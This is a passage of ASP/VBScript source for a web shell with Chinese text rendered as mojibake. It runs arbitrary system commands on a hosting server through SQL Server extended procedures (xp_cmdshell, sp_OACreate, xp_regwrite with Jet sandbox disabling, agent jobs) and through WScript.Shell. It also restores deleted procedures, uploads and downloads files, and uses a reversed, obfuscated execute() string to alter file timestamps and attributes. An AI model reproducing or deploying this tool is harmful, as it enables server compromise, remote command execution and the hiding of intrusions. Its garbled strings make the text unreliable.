RESPONSE.WRITE "<BR><FONT COLOR=RED>SP_OACREATE............. <20><><EFBFBD><EFBFBD>!</FONT>"
SESSION("SP_OACREATE")=1
ELSE
RESPONSE.WRITE "<BR><FONT COLOR=RED>SP_OACREATE............. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!</FONT>"
SESSION("SP_OACREATE")=0
END IF
STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_REGWRITE'"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF RECRESULT(0) THEN
RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_REGWRITE............. <20><><EFBFBD><EFBFBD>!</FONT>"
SESSION("XP_REGWRITE")=1
ELSE
RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_REGWRITE............. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!</FONT>"
SESSION("XP_REGWRITE")=0
END IF
STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_SERVICECONTROL'"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF RECRESULT(0) THEN
RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_SERVICECONTROL <20><><EFBFBD><EFBFBD>!</FONT>"
SESSION("XP_SERVICECONTROL")=1
ELSE
RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_SERVICECONTROL <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!</FONT>"
SESSION("XP_SERVICECONTROL")=0
END IF
ELSE
RESPONSE.WRITE "<SCRIPT>ALERT('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>½<EFBFBD><C2BD>')</SCRIPT>"
RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT><FONT COLOR=BLACK><3E><>½<EFBFBD><C2BD>ʱ</FONT>"
RESPONSE.END
END IF
ELSEIF REQUEST("SQLAAA")="CMD" THEN
IF SESSION("LOGIN")<>"" THEN
IF SESSION("PRI")=1 THEN
IF REQUEST("TOOL")="XP_CMDSHELL" THEN
SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
IF REQUEST.FORM("CMD")<>"" THEN
STRQUERY = "EXEC MASTER.DBO.XP_CMDSHELL '" & REQUEST.FORM("CMD") & "'"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF NOT RECRESULT.EOF THEN
DO WHILE NOT RECRESULT.EOF
STRRESULT = STRRESULT & CHR(13) & RECRESULT(0)
RECRESULT.MOVENEXT
LOOP
END IF
SET RECRESULT = NOTHING
RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
RESPONSE.WRITE "<22><><EFBFBD><EFBFBD>"&REQUEST("TOOL")&"<22><>չִ<D5B9><D6B4>"
RESPONSE.WRITE REQUEST.FORM("CMD")
RESPONSE.WRITE STRRESULT
RESPONSE.WRITE "</TEXTAREA>"
END IF
ELSEIF REQUEST("TOOL")="SP_OACREATE" THEN
SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
IF REQUEST.FORM("CMD")<>"" THEN
STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);USE MASTER DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C "&REQUEST("CMD")&" > 8617.TMP',0,TRUE;BULK INSERT [JNC] FROM '8617.TMP' WITH (KEEPNULLS);"
ADOCONN.EXECUTE(STRQUERY)
STRQUERY = "SELECT * FROM JNC"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF NOT RECRESULT.EOF THEN
DO WHILE NOT RECRESULT.EOF
STRRESULT = STRRESULT & CHR(13) & RECRESULT(0)
RECRESULT.MOVENEXT
LOOP
END IF
SET RECRESULT = NOTHING
RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
RESPONSE.WRITE "<22><><EFBFBD><EFBFBD>"&REQUEST("TOOL")&"<22><>չִ<D5B9><D6B4>"
RESPONSE.WRITE REQUEST.FORM("CMD")
RESPONSE.WRITE STRRESULT
RESPONSE.WRITE "</TEXTAREA>"
STRQUERY = "DROP TABLE [JNC];DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C DEL 8617.TMP'"
ADOCONN.EXECUTE(STRQUERY)
END IF
ELSEIF REQUEST("TOOL")="XP_REGWRITE" THEN
IF SESSION("SYSTEM")="2000" THEN
PATH="C:\WINNT\SYSTEM32\IAS\IAS.MDB"
ELSE
PATH="C:\WINDOWS\SYSTEM32\IAS\IAS.MDB"
END IF
SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
IF REQUEST.FORM("CMD")<>"" THEN
CMD=CHR(34)&"CMD.EXE /C "&REQUEST.FORM("CMD")&" > 8617.TMP"&CHR(34)
STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',0;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CMD&")');"
ADOCONN.EXECUTE(STRQUERY)
STRQUERY = "SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C COPY 8617.TMP JNC.TMP"&CHR(34)&")');BULK INSERT [JNC] FROM 'JNC.TMP' WITH (KEEPNULLS);"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
STRQUERY="SELECT * FROM [JNC];"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF NOT RECRESULT.EOF THEN
DO WHILE NOT RECRESULT.EOF
STRRESULT = STRRESULT & CHR(13) & RECRESULT(0)
RECRESULT.MOVENEXT
LOOP
END IF
SET RECRESULT = NOTHING
RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
RESPONSE.WRITE "<22><><EFBFBD><EFBFBD>"&REQUEST("TOOL")&"<22><>չִ<D5B9><D6B4>"
RESPONSE.WRITE REQUEST.FORM("CMD")
RESPONSE.WRITE STRRESULT
RESPONSE.WRITE "</TEXTAREA>"
STRQUERY = "DROP TABLE [JNC];EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',1;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C DEL 8617.TMP&&DEL JNC.TMP"&CHR(34)&")');"
ADOCONN.EXECUTE(STRQUERY)
END IF
ELSEIF REQUEST("TOOL")="SQLSERVERAGENT" THEN
SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
IF REQUEST.FORM("CMD")<>"" THEN
IF SESSION("SQLSERVERAGENT")=0 THEN
STRQUERY = "EXEC MASTER.DBO.XP_SERVICECONTROL 'START','SQLSERVERAGENT';"
ADOCONN.EXECUTE(STRQUERY)
SESSION("SQLSERVERAGENT")=1
END IF
STRQUERY = "USE MSDB CREATE TABLE [JNCSQL](RESULTTXT NVARCHAR(1024) NULL) EXEC SP_DELETE_JOB NULL,'X' EXEC SP_ADD_JOB 'X' EXEC SP_ADD_JOBSTEP NULL,'X',NULL,'1','CMDEXEC','CMD /C "&REQUEST.FORM("CMD")&"' EXEC SP_ADD_JOBSERVER NULL,'X',@@SERVERNAME EXEC SP_START_JOB 'X';"
ADOCONN.EXECUTE(STRQUERY)
ADOCONN.EXECUTE(STRQUERY)
ADOCONN.EXECUTE(STRQUERY)
RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
RESPONSE.WRITE "<22><><EFBFBD><EFBFBD>"&REQUEST("TOOL")&"<22><>չִ<D5B9><D6B4>"
RESPONSE.WRITE REQUEST.FORM("CMD")
RESPONSE.WRITE VBCRF
RESPONSE.WRITE "<22><><EFBFBD><EFBFBD>չ<EFBFBD>޻<EFBFBD><DEBB>ԣ<EFBFBD><D4A3><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD>鿴<EFBFBD><E9BFB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
RESPONSE.WRITE "</TEXTAREA>"
STRQUERY = "USE MSDB DROP TABLE [JNCSQL];"
ADOCONN.EXECUTE(STRQUERY)
END IF
ELSEIF REQUEST("TOOL")="" THEN
RESPONSE.WRITE "<SCRIPT>ALERT('ѡ<><D1A1><EFBFBD><EFBFBD>Ҫʹ<D2AA>õ<EFBFBD><C3B5><EFBFBD>չ')</SCRIPT>"
END IF
ELSE
RESPONSE.WRITE "<SCRIPT>ALERT('Ȩ<>޲<EFBFBD><DEB2><EFBFBD>Ŷ<EFBFBD><C5B6>')</SCRIPT>"
END IF
ELSE
RESPONSE.WRITE "<SCRIPT>ALERT('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>½<EFBFBD><C2BD>')</SCRIPT>"
RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT><FONT COLOR=BLACK><3E><>½<EFBFBD><C2BD>ʱ</FONT>"
RESPONSE.END
END IF
ELSEIF REQUEST("SQLAAA")="RESUME" THEN
IF SESSION("LOGIN")<>"" THEN
SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
IF SESSION("XP_CMDSHELL")=0 THEN
STRQUERY="DBCC ADDEXTENDEDPROC ('XP_CMDSHELL','XPLOG70.DLL')"
ADOCONN.EXECUTE(STRQUERY)
RESPONSE.WRITE "<FONT COLOR=RED><3E>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD>Իָ<D4BB>XP_CMDSHELL</FONT>"
ELSEIF SESSION("SP_OACREATE")=0 THEN
STRQUERY="DBCC ADDEXTENDEDPROC ('SP_OACREATE','ODSOLE70.DLL')"
ADOCONN.EXECUTE(STRQUERY)
RESPONSE.WRITE "<FONT COLOR=RED><3E>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD>Իָ<D4BB>SP_OACREATE</FONT>"
ELSEIF SESSION("XP_REGWRITE")=0 THEN
STRQUERY="DBCC ADDEXTENDEDPROC ('XP_REGWRITE','XPSTAR.DLL')"
ADOCONN.EXECUTE(STRQUERY)
RESPONSE.WRITE "<FONT COLOR=RED><3E>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD>Իָ<D4BB>XP_REGWRITE</FONT>"
ELSE RESPONSE.WRITE "<FONT COLOR=RED><3E><>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ</FONT>"
END IF
ELSE
RESPONSE.WRITE "<SCRIPT>ALERT('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>½<EFBFBD><C2BD>')</SCRIPT>"
RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT><FONT COLOR=BLACK><3E><>½<EFBFBD><C2BD>ʱ</FONT>"
RESPONSE.END
END IF
ELSEIF REQUEST("SQLAAA")="SQL" THEN
IF SESSION("LOGIN")<>"" THEN
IF REQUEST.FORM("SQL")<>"" THEN
SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
STRQUERY=REQUEST.FORM("SQL")
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF NOT RECRESULT.EOF THEN
DO WHILE NOT RECRESULT.EOF
STRRESULT = STRRESULT & CHR(13) & RECRESULT(0)
RECRESULT.MOVENEXT
LOOP
END IF
SET RECRESULT = NOTHING
RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
RESPONSE.WRITE "ִ<><D6B4>SQL<51><4C><EFBFBD><EFBFBD>:"
RESPONSE.WRITE REQUEST.FORM("SQL")
RESPONSE.WRITE STRRESULT
RESPONSE.WRITE "</TEXTAREA>"
END IF
ELSE
RESPONSE.WRITE "<SCRIPT>ALERT('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>½<EFBFBD><C2BD>')</SCRIPT>"
RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT><FONT COLOR=BLACK><3E><>½<EFBFBD><C2BD>ʱ</FONT>"
RESPONSE.END
END IF
ELSEIF REQUEST("SQLAAA")="LOGOUT" THEN
SET ADOCONN=NOTHING
SESSION("LOGIN")=""
SESSION("NAME")=""
SESSION("PASS")=""
SESSION("SERVER")=""
SESSION("PORT")=""
SESSION("SYSTEM")=""
SESSION("PRI")=""
END IF
IF SESSION("LOGIN")="" THEN
RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
RESPONSE.WRITE "<P>SQL<51>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>"
RESPONSE.WRITE "<INPUT NAME=NAME TYPE=TEXT ID=NAME VALUE="&SESSION("NAME")&">"
RESPONSE.WRITE " SQL<51><4C><EFBFBD>룺"
RESPONSE.WRITE "<INPUT NAME=PASS TYPE=PASSWORD ID=PASS VALUE="&SESSION("PASS")&">"
RESPONSE.WRITE "<P>SQL<51><4C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
RESPONSE.WRITE "<INPUT NAME=PORT TYPE=TEXT ID=SERVER VALUE=127.0.0.1>"
RESPONSE.WRITE " SQL<51>˿ڣ<CBBF>"
RESPONSE.WRITE "<INPUT NAME=PORT TYPE=TEXT ID=PORT VALUE=1433>"
RESPONSE.WRITE " <INPUT NAME=SQLAAA TYPE=SUBMIT VALUE=LOGIN>"
RESPONSE.WRITE "</FORM>"
ELSE RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
RESPONSE.WRITE "<P><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⣺"
RESPONSE.WRITE " <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=TEST>"
RESPONSE.WRITE " <INPUT TYPE=SUBMIT VALUE=<3D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>"
RESPONSE.WRITE "</FORM>"
RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
RESPONSE.WRITE "<P><3E><><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>"
RESPONSE.WRITE " <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=RESUME>"
RESPONSE.WRITE " <INPUT TYPE=SUBMIT VALUE=<3D>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>>"
RESPONSE.WRITE "</FORM>"
RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
RESPONSE.WRITE "<P>ϵͳ<CFB5><CDB3><EFBFBD>"
RESPONSE.WRITE " <INPUT NAME=CMD TYPE=TEXT>"
RESPONSE.WRITE "<SELECT NAME='TOOL' ><OPTION VALUE=''>----<2D><>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----</OPTION><OPTION VALUE=XP_CMDSHELL>XP_CMDSHELL</OPTION><OPTION VALUE=SP_OACREATE>SP_OACREATE</OPTION><OPTION VALUE=XP_REGWRITE>XP_REGWRITE</OPTION><OPTION VALUE=SQLSERVERAGENT>SQLSERVERAGENT</OPTION></OPTION></SELECT>"
RESPONSE.WRITE " <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=CMD>"
RESPONSE.WRITE " <INPUT TYPE=SUBMIT VALUE=ִ<><D6B4>>"
RESPONSE.WRITE "</FORM>"
RESPONSE.WRITE "<FORM NAME=FORM1 METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
RESPONSE.WRITE "<P>ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD>䣺"
RESPONSE.WRITE " <INPUT NAME=SQL TYPE=TEXT>"
RESPONSE.WRITE " <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=SQL>"
RESPONSE.WRITE " <INPUT TYPE=SUBMIT VALUE=ִ<><D6B4>>"
RESPONSE.WRITE "</FORM>"
END IF:End Function
execute(shisanfun("bus dne<6E><65>fi dne<6E><65><EFBFBD><EFBFBD>>retnec/< <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;psbn&;psbn&<26><>&emaNelif&htap&<26><>;psbn&;psbn&<26><><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>>rb/<>rb/<<3C><> SRR<52><52>emiTwen=etadyfidoM.elif_ppa<70><61>)emaNelif(emaNesraP.htap_ppa=elif_ppa teS<65><53>))<29><>.<2E><>(htappam.revres(ecapSemaN.llehs=htap_ppa teS<65><53>)<29><>noitacilppA.llehS<68><53>(tcejbOetaerC.revreS=llehs teS<65><53>gniXuhS=setubirtta.elif<69><66>)emaNelif&htap(eliFteg.osf=elif teS<65><53>))0,0(tbo(tcejbOetaerC.revreS=osf teS<65><53>neht) )0>)emiTwen(nel(dna)0>)emaNelif(nel(dna)0>)htap(nel( (fi<66><69><EFBFBD><EFBFBD>>mrof/<<3C><> SRR<52><52><EFBFBD><EFBFBD>><3E><><EFBFBD><EFBFBD>=eulav timbus=epyt tupni<<3C><> SRR<52><52><EFBFBD><EFBFBD>>/rb<>'04'=ezis '0'=eulav gnixuhs=eman tupni<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ީ<EFBFBD> SRR<52><52><EFBFBD><EFBFBD>>noitpo/< ͳϵ,<2C><><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ>'93'=eulav noitpo<<3C><> SRR<52><52><EFBFBD><EFBFBD>>noitpo/< <20><><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ>'53'=eulav noitpo<<3C><> SRR<52><52><EFBFBD><EFBFBD>>noitpo/< <20><><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD>>'43'=eulav noitpo<<3C><> SRR<52><52><EFBFBD><EFBFBD>>noitpo/< <20><><EFBFBD><EFBFBD>,<2C><>ֻ>'33'=eulav noitpo<<3C><> SRR<52><52><EFBFBD><EFBFBD>>noitpo/<ͳϵ>'4'=eulav noitpo<<3C><> SRR<52><52><EFBFBD><EFBFBD>>noitpo/< <20><><EFBFBD><EFBFBD>>'2'=eulav noitpo<<3C><> SRR<52><52><EFBFBD><EFBFBD>>noitpo/< <20><>ֻ>'1'=eulav noitpo<<3C><> SRR<52><52><EFBFBD><EFBFBD>>noitpo/< ͨ<><CDA8>>''=eulav noitpo<<3C><> SRR<52><52><EFBFBD><EFBFBD>>';eulav.siht=eulav.gnixuhs.mrof.siht'=egnahCno tceles<<3C><> SRR<52><52><EFBFBD><EFBFBD>>/rb<<3C><>:<3A><>:ʱ <20><>/<2F><>/<2F><>;psbn&>'06'=ezis '95:95:32 2102/12/21'=eulav emit=eman tupni<<3C><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>;psbn&;psbn&;psbn&<26><> SRR<52><52><EFBFBD><EFBFBD>>/rb<)<29><><EFBFBD><EFBFBD><EFBFBD>ĵĸ<C4B5><C4B8><EFBFBD>Ҫ(>'06'=ezis 'psa.xedni'=eulav emanelif=eman tupni<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;psbn&<26><> SRR<52><52><EFBFBD><EFBFBD>>/rb<)β<><CEB2>\<5C><>Ҫ<EFBFBD><D2AA>һ(>'06'=ezis '<27><>&TOORWWW&<26><>'=eulav '1htap'=eman tupni<<3C><><EFBFBD><EFBFBD>;psbn&;psbn&;psbn&;psbn&·>retnec<<3C><> SRR<52><52><EFBFBD><EFBFBD>>tsop=dohtem mrof<<3C><> SRR<52><52>)<29><>gnixuhs<68><73>(mroF.tseuqer=gniXuhS tes<65><73>)<29><>emit<69><74>(mroF.tseuqer=emiTwen tes<65><73>)<29><>emanelif<69><66>(mroF.tseuqer=emaNelif tes<65><73>)<29><>1htap<61><70>(mroF.tseuqer=htap tes<65><73>gniXuhS,emiTweN,emaNeliF,htaP mid<69><64>)(txeTeliFteS bus"))
Function ServerInfo():SI="<br><table width='80%' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
SI=SI&"<tr><td height='20' colspan='3' align='center' bgcolor='menu'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ</td></tr>"
SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"&request.serverVariables("SERVER_NAME")&"</td></tr>"
SI=SI&"<form method=post action='http://www.ip138.com/ips.asp' name='ipform' target='_blank'><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP</td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"
SI=SI&"<input type='text' name='ip' size='15' value='"&Request.ServerVariables("LOCAL_ADDR")&"'style='border:0px'><input type='submit' value='<27><>ѯ<EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>'style='border:0px'><input type='hidden' name='action' value='2'></td></tr></form>"
SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1></td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"&now&"&nbsp;</td></tr>"
SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CPU<50><55><EFBFBD><EFBFBD></td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"</td></tr>"
SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ</td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("OS")&"</td></tr>"
SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>WEB<45><42><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>汾</td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr>"
For i=0 To 13
SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>"&ObT(i,0)&"</td><td bgcolor='#FFFFFF'>"&ObT(i,1)&"</td><td bgcolor='#FFFFFF' align=left>"&ObT(i,2)&"</td></tr>"
Next
RRS SI:
End Function:Function DownFile(Path):Response.Clear
Set OSM = CreateObject(ObT(6,0))
OSM.Open
OSM.Type = 1
OSM.LoadFromFile Path
sz=InstrRev(path,"\")+1
Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz)
Response.AddHeader "Content-Length", OSM.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite OSM.Read
Response.Flush
OSM.Close
Set OSM = Nothing:End Function:Function HTMLEncode(S):if not isnull(S) then
S = replace(S, ">", "&gt;")
S = replace(S, "<", "&lt;")
S = replace(S, CHR(39), "&#39;")
S = replace(S, CHR(34), "&quot;")
S = replace(S, CHR(20), "&nbsp;")
HTMLEncode = S
end if:End Function:Function UpFile():If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
SI="<br><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>ȫ·<C8AB><C2B7><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD><C4BC>ϴ<EFBFBD>!"
Else
F.SaveAs UName
If Err.number=0 Then
SI="<center><br><br><br><3E>ļ<EFBFBD>"&UName&"<22>ϴ<EFBFBD><CFB4>ɹ<EFBFBD><C9B9><EFBFBD></center>"
End if
End If
Set F=nothing:Set U=nothing
SI=SI&BackUrl
RRS SI
ShowErr()
Response.End
End If
SI="<br><br><br><table border='0' cellpadding='0' cellspacing='0' align='center'>"
SI=SI&"<form name='UpForm' method='post' action='"&URL&"?Action=UpFile&Action2=Post' enctype='multipart/form-data'>"
SI=SI&"<tr><td>"
SI=SI&"<22>ϴ<EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><input name='ToPath' value='"&RRePath(Session("FolderPath")&"\cmd.exe")&"' size='40'>"
SI=SI&" <input name='LocalFile' type='file' size='25'>"
SI=SI&" <input type='submit' name='Submit' value='<27>ϴ<EFBFBD>'>"
SI=SI&"</td></tr></form></table>"
RRS SI:End Function:Function Cmd1Shell():checked=" checked"
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")<>"yes" then checked=""
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method='post'>"
SI=SI&"SHELL·<4C><C2B7><EFBFBD><EFBFBD><input name='SP' value='"&ShellPath&"' Style='width:70%'>&nbsp;&nbsp;"
SI=SI&"<input class=c type='checkbox' name='wscript' value='yes'"&checked&">WScript.Shell"
SI=SI&"<input name='cmd' Style='width:92%' value='"&DefCmd&"'> <input type='submit' value='ִ<><D6B4>'><textarea Style='width:100%;height:440;' class='cmd'>"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else
On Error Resume Next
Set ws=Server.CreateObject("WScript.Shell")
Set ws=Server.CreateObject("WScript.Shell")
Set fso=Server.CreateObject("Scripting.FileSystemObject")
szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObject("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea></form>"
RRS SI:End Function
Function CreateMdb(Path):SI="<br><br>"
Set C = CreateObject(ObT(2,0))
C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path)
Set C = Nothing
If Err.number=0 Then
SI = SI & Path & "<22><><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>!"
End If
SI=SI&BackUrl
RRS SI:End function:Function CompactMdb(Path):If Not ObT(0,1) Then
Set C=CreateObject(ObT(3,0))
